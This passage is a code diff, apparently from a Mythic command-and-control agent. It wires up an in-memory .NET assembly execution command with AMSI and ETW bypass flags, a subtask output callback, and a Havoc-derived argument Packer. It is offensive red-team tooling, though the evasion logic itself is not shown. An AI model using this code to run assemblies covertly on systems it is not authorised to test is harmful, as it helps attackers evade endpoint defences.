TaskID=parent_task_id,
|
||||||
|
Response="[ERROR] No subtask ID found in completion message"
|
||||||
|
))
|
||||||
|
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
|
||||||
|
|
||||||
|
# Search for responses from the subtask
|
||||||
|
# Add a small delay to ensure the response is available
|
||||||
|
import asyncio
|
||||||
|
await asyncio.sleep(1.0) # Wait 1 second for response to be processed
|
||||||
|
|
||||||
|
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
|
||||||
|
|
||||||
|
logging.info(f"[coff_completion_callback] Searching responses for subtask {subtask_id}, Success={responses.Success}")
|
||||||
|
logging.info(f"[coff_completion_callback] Response object type: {type(responses)}")
|
||||||
|
logging.info(f"[coff_completion_callback] Response object attributes: {dir(responses)}")
|
||||||
|
|
||||||
|
if not responses.Success:
|
||||||
|
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
|
||||||
|
logging.warning(f"[coff_completion_callback] Failed to search responses: {error_detail}")
|
||||||
|
# Don't return error, just log it and continue
|
||||||
|
|
||||||
|
# Process responses if they exist
|
||||||
|
responses_list = None
|
||||||
|
if responses.Success:
|
||||||
|
if hasattr(responses, 'Responses'):
|
||||||
|
responses_list = responses.Responses
|
||||||
|
logging.info(f"[coff_completion_callback] Found responses.Responses: {len(responses_list) if responses_list else 0} items")
|
||||||
|
elif hasattr(responses, 'responses'):
|
||||||
|
responses_list = responses.responses
|
||||||
|
logging.info(f"[coff_completion_callback] Found responses.responses: {len(responses_list) if responses_list else 0} items")
|
||||||
|
elif hasattr(responses, 'Response'):
|
||||||
|
responses_list = [responses.Response] if responses.Response else []
|
||||||
|
logging.info(f"[coff_completion_callback] Found responses.Response: {len(responses_list) if responses_list else 0} items")
|
||||||
|
else:
|
||||||
|
logging.warning(f"[coff_completion_callback] No known response attribute found in response object")
|
||||||
|
|
||||||
|
if responses_list:
|
||||||
|
logging.info(f"[coff_completion_callback] Processing {len(responses_list)} response items")
|
||||||
|
for idx, output in enumerate(responses_list):
|
||||||
|
logging.info(f"[coff_completion_callback] Processing response item {idx}, type: {type(output)}")
|
||||||
|
if hasattr(output, 'Response'):
|
||||||
|
out += str(output.Response)
|
||||||
|
elif hasattr(output, 'response'):
|
||||||
|
out += str(output.response)
|
||||||
|
elif hasattr(output, 'Message'):
|
||||||
|
out += str(output.Message)
|
||||||
|
elif hasattr(output, 'message'):
|
||||||
|
out += str(output.message)
|
||||||
|
elif hasattr(output, 'output'):
|
||||||
|
out += str(output.output)
|
||||||
|
elif isinstance(output, str):
|
||||||
|
out += output
|
||||||
|
elif isinstance(output, bytes):
|
||||||
|
out += output.decode('utf-8', errors='ignore')
|
||||||
|
else:
|
||||||
|
logging.info(f"[coff_completion_callback] Converting output to string, type: {type(output)}")
|
||||||
|
out += str(output)
|
||||||
|
|
||||||
|
# If no output was found, indicate successful execution
|
||||||
|
if not out:
|
||||||
|
logging.warning(f"[coff_completion_callback] No output found for subtask {subtask_id}")
|
||||||
|
out = "[Assembly executed successfully but produced no output]"
|
||||||
|
|
||||||
|
# Send the aggregated output back to the parent task
|
||||||
|
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||||
|
TaskID=parent_task_id,
|
||||||
|
Response=out
|
||||||
|
))
|
||||||
|
return response
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
import traceback
|
||||||
|
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
|
||||||
|
try:
|
||||||
|
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||||
|
if parent_task_id:
|
||||||
|
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||||
|
TaskID=parent_task_id,
|
||||||
|
Response=error_msg
|
||||||
|
))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
|
||||||
|
|
||||||
class InlineExecuteAssemblyArguments(TaskArguments):
|
class InlineExecuteAssemblyArguments(TaskArguments):
|
||||||
def __init__(self, command_line, **kwargs):
|
def __init__(self, command_line, **kwargs):
|
||||||
super().__init__(command_line, **kwargs)
|
super().__init__(command_line, **kwargs)
|
||||||
@@ -130,9 +242,16 @@ class InlineExecuteAssemblyArguments(TaskArguments):
|
|||||||
return response
|
return response
|
||||||
|
|
||||||
async def parse_arguments(self):
|
async def parse_arguments(self):
|
||||||
if len(self.command_line) == 0:
|
# This is only called when user types command directly
|
||||||
raise ValueError("Must supply arguments")
|
# Subtasks use parse_dictionary instead
|
||||||
raise ValueError("Must supply named arguments or use the modal")
|
if len(self.command_line) > 0:
|
||||||
|
raise ValueError("Must supply named arguments or use the modal")
|
||||||
|
# If command_line is empty, do nothing (subtask will use parse_dictionary)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
# This is called when using the modal UI or when called as a subtask
|
||||||
|
# Just load the arguments directly
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
class InlineExecuteAssemblyCommand(CommandBase):
|
class InlineExecuteAssemblyCommand(CommandBase):
|
||||||
cmd = "inline_execute_assembly"
|
cmd = "inline_execute_assembly"
|
||||||
@@ -144,6 +263,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
|||||||
script_only = True
|
script_only = True
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
argument_class = InlineExecuteAssemblyArguments
|
argument_class = InlineExecuteAssemblyArguments
|
||||||
|
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
dependencies=["inline_execute"],
|
dependencies=["inline_execute"],
|
||||||
alias=True
|
alias=True
|
||||||
@@ -217,6 +337,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
|||||||
)
|
)
|
||||||
|
|
||||||
# Arguments depend on the BOF
|
# Arguments depend on the BOF
|
||||||
|
# Note: Using bof_name instead of bof_file to match Xenon's implementation
|
||||||
file_name = "inline-ea.x64.o"
|
file_name = "inline-ea.x64.o"
|
||||||
arguments = [
|
arguments = [
|
||||||
[
|
[
|
||||||
@@ -229,31 +350,43 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
|||||||
],
|
],
|
||||||
[
|
[
|
||||||
"wchar",
|
"wchar",
|
||||||
taskData.args.get_arg("assembly_arguments") # Assembly argument string
|
taskData.args.get_arg("assembly_arguments") or "" # Assembly argument string
|
||||||
],
|
],
|
||||||
[
|
[
|
||||||
"int32",
|
"int32",
|
||||||
taskData.args.get_arg("patch_exit") # BOOL
|
1 if taskData.args.get_arg("patch_exit") else 0 # BOOL: convert to 1 or 0
|
||||||
],
|
],
|
||||||
[
|
[
|
||||||
"int32",
|
"int32",
|
||||||
taskData.args.get_arg("amsi") # BOOL
|
1 if taskData.args.get_arg("amsi") else 0 # BOOL: convert to 1 or 0
|
||||||
],
|
],
|
||||||
[
|
[
|
||||||
"int32",
|
"int32",
|
||||||
taskData.args.get_arg("etw") # BOOL
|
1 if taskData.args.get_arg("etw") else 0 # BOOL: convert to 1 or 0
|
||||||
]
|
]
|
||||||
|
|
||||||
]
|
]
|
||||||
|
|
||||||
# Run inline_execute subtask
|
# Find the BOF file first
|
||||||
|
bof_file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Filename=file_name,
|
||||||
|
LimitByCallback=False,
|
||||||
|
MaxResults=1
|
||||||
|
))
|
||||||
|
|
||||||
|
if not bof_file_resp.Success or len(bof_file_resp.Files) == 0:
|
||||||
|
raise Exception(f"Failed to find BOF file '{file_name}': {bof_file_resp.Error if bof_file_resp.Success else 'File not found'}")
|
||||||
|
|
||||||
|
# Create subtask to execute inline_execute with the BOF
|
||||||
|
# Use coff_completion_callback to capture output and display it in the main command
|
||||||
subtask = await SendMythicRPCTaskCreateSubtask(
|
subtask = await SendMythicRPCTaskCreateSubtask(
|
||||||
MythicRPCTaskCreateSubtaskMessage(
|
MythicRPCTaskCreateSubtaskMessage(
|
||||||
taskData.Task.ID,
|
taskData.Task.ID,
|
||||||
CommandName="inline_execute",
|
CommandName="inline_execute",
|
||||||
SubtaskCallbackFunction="coff_completion_callback",
|
SubtaskCallbackFunction="coff_completion_callback",
|
||||||
Params=json.dumps({
|
Params=json.dumps({
|
||||||
"bof_name": file_name,
|
"bof_file": bof_file_resp.Files[0].AgentFileId,
|
||||||
"bof_arguments": arguments
|
"bof_arguments": arguments
|
||||||
}),
|
}),
|
||||||
Token=taskData.Task.TokenID,
|
Token=taskData.Task.TokenID,
|
||||||
|
|||||||
@@ -1,4 +1,6 @@
|
|||||||
import json
|
import json
|
||||||
|
import base64
|
||||||
|
from .utils import Packer
|
||||||
|
|
||||||
commands = {
|
commands = {
|
||||||
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
||||||
@@ -215,6 +217,7 @@ def responseTasking(tasks):
|
|||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "bof_special":
|
elif commands[command_to_run]["input_type"] == "bof_special":
|
||||||
# inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
# inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||||
|
# Similar to Xenon: serialize arguments in translator using Packer
|
||||||
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||||
file_id = parameters.get("bof_file", "")
|
file_id = parameters.get("bof_file", "")
|
||||||
|
|
||||||
@@ -224,16 +227,49 @@ def responseTasking(tasks):
|
|||||||
data += len(file_id_bytes).to_bytes(4, "big")
|
data += len(file_id_bytes).to_bytes(4, "big")
|
||||||
data += file_id_bytes
|
data += file_id_bytes
|
||||||
|
|
||||||
# Add BOF arguments (serialized)
|
# Serialize BOF arguments using Packer (like Xenon)
|
||||||
bof_args = parameters.get("bof_arguments", [])
|
bof_args = parameters.get("bof_arguments", [])
|
||||||
args_str = json.dumps(bof_args) if bof_args else ""
|
if bof_args and len(bof_args) > 0:
|
||||||
args_bytes = args_str.encode('utf-8')
|
packer = Packer()
|
||||||
data += len(args_bytes).to_bytes(4, "big")
|
# Handle TypedList as single length-prefixed argument to Agent (like Xenon)
|
||||||
data += args_bytes
|
for item in bof_args:
|
||||||
|
item_type, item_value = item
|
||||||
|
if item_type == "int16":
|
||||||
|
packer.addshort(int(item_value))
|
||||||
|
elif item_type == "int32":
|
||||||
|
# Convert to int, handling both bool and int values
|
||||||
|
if isinstance(item_value, bool):
|
||||||
|
packer.adduint32(1 if item_value else 0)
|
||||||
|
else:
|
||||||
|
packer.adduint32(int(item_value))
|
||||||
|
elif item_type == "bytes":
|
||||||
|
# Convert hex string to bytes
|
||||||
|
packer.addbytes(bytes.fromhex(item_value))
|
||||||
|
elif item_type == "string":
|
||||||
|
packer.addstr(item_value)
|
||||||
|
elif item_type == "wchar":
|
||||||
|
packer.addWstr(item_value)
|
||||||
|
elif item_type == "base64":
|
||||||
|
try:
|
||||||
|
decoded_value = base64.b64decode(item_value)
|
||||||
|
packer.addstr(decoded_value)
|
||||||
|
except Exception:
|
||||||
|
print(f"[TRANSLATOR] Error: Invalid base64 string: {item_value}")
|
||||||
|
# Fallback: add as empty string
|
||||||
|
packer.addstr("")
|
||||||
|
|
||||||
|
# Packer.getbuffer() returns length-prefixed buffer: [size:4 bytes LE][data]
|
||||||
|
packed_params = packer.getbuffer()
|
||||||
|
# Send as length-prefixed string (big-endian for length prefix, like other strings)
|
||||||
|
data += len(packed_params).to_bytes(4, "big")
|
||||||
|
data += packed_params
|
||||||
|
else:
|
||||||
|
# No arguments - send empty buffer
|
||||||
|
data += (0).to_bytes(4, "big")
|
||||||
|
|
||||||
task_size = len(data)
|
task_size = len(data)
|
||||||
dataTask += task_size.to_bytes(4, "big") + data
|
dataTask += task_size.to_bytes(4, "big") + data
|
||||||
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}")
|
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
|
||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "assembly_special":
|
elif commands[command_to_run]["input_type"] == "assembly_special":
|
||||||
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
import base64
|
import base64
|
||||||
import os
|
import os
|
||||||
|
from struct import pack, calcsize
|
||||||
|
|
||||||
def getBytesWithSize(data):
|
def getBytesWithSize(data):
|
||||||
"""
|
"""
|
||||||
@@ -28,4 +29,70 @@ def getBytesWithSize(data):
|
|||||||
# Return what we can and empty remaining
|
# Return what we can and empty remaining
|
||||||
return data[:size], b""
|
return data[:size], b""
|
||||||
|
|
||||||
return data[:size], data[size:]
|
return data[:size], data[size:]
|
||||||
|
|
||||||
|
|
||||||
|
class Packer:
|
||||||
|
"""
|
||||||
|
Packed data into length-prefixed binary format.
|
||||||
|
|
||||||
|
Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py
|
||||||
|
Adapted from Xenon's implementation
|
||||||
|
"""
|
||||||
|
def __init__(self):
|
||||||
|
self.buffer : bytes = b''
|
||||||
|
self.size : int = 0
|
||||||
|
|
||||||
|
def getbuffer(self):
|
||||||
|
"""Returns length-prefixed buffer: [size:4 bytes little-endian][data]"""
|
||||||
|
return pack("<L", self.size) + self.buffer
|
||||||
|
|
||||||
|
def addstr(self, s):
|
||||||
|
"""Add a null-terminated string"""
|
||||||
|
if s is None:
|
||||||
|
s = ''
|
||||||
|
if isinstance(s, str):
|
||||||
|
s = s.encode("utf-8")
|
||||||
|
fmt = "<L{}s".format(len(s) + 1)
|
||||||
|
self.buffer += pack(fmt, len(s)+1, s)
|
||||||
|
self.size += calcsize(fmt)
|
||||||
|
|
||||||
|
def addWstr(self, s):
|
||||||
|
"""Add a null-terminated wide string (UTF-16 LE)"""
|
||||||
|
if s is None:
|
||||||
|
s = ''
|
||||||
|
s = s.encode("utf-16_le")
|
||||||
|
fmt = "<L{}s".format(len(s) + 2)
|
||||||
|
self.buffer += pack(fmt, len(s)+2, s)
|
||||||
|
self.size += calcsize(fmt)
|
||||||
|
|
||||||
|
def addbytes(self, b):
|
||||||
|
"""Add raw bytes"""
|
||||||
|
if b is None:
|
||||||
|
b = b''
|
||||||
|
fmt = "<L{}s".format(len(b))
|
||||||
|
self.buffer += pack(fmt, len(b), b)
|
||||||
|
self.size += calcsize(fmt)
|
||||||
|
|
||||||
|
def addbool(self, b):
|
||||||
|
"""Add a boolean as int32"""
|
||||||
|
fmt = '<I'
|
||||||
|
self.buffer += pack(fmt, 1 if b else 0)
|
||||||
|
self.size += 4
|
||||||
|
|
||||||
|
def adduint32(self, n):
|
||||||
|
"""Add an unsigned int32"""
|
||||||
|
fmt = '<I'
|
||||||
|
self.buffer += pack(fmt, n)
|
||||||
|
self.size += 4
|
||||||
|
|
||||||
|
def addint(self, dint):
|
||||||
|
"""Add a signed int32"""
|
||||||
|
self.buffer += pack("<i", dint)
|
||||||
|
self.size += 4
|
||||||
|
|
||||||
|
def addshort(self, n):
|
||||||
|
"""Add a signed int16"""
|
||||||
|
fmt = '<h'
|
||||||
|
self.buffer += pack(fmt, n)
|
||||||
|
self.size += 2
|
||||||
Reference in New Issue
Block a user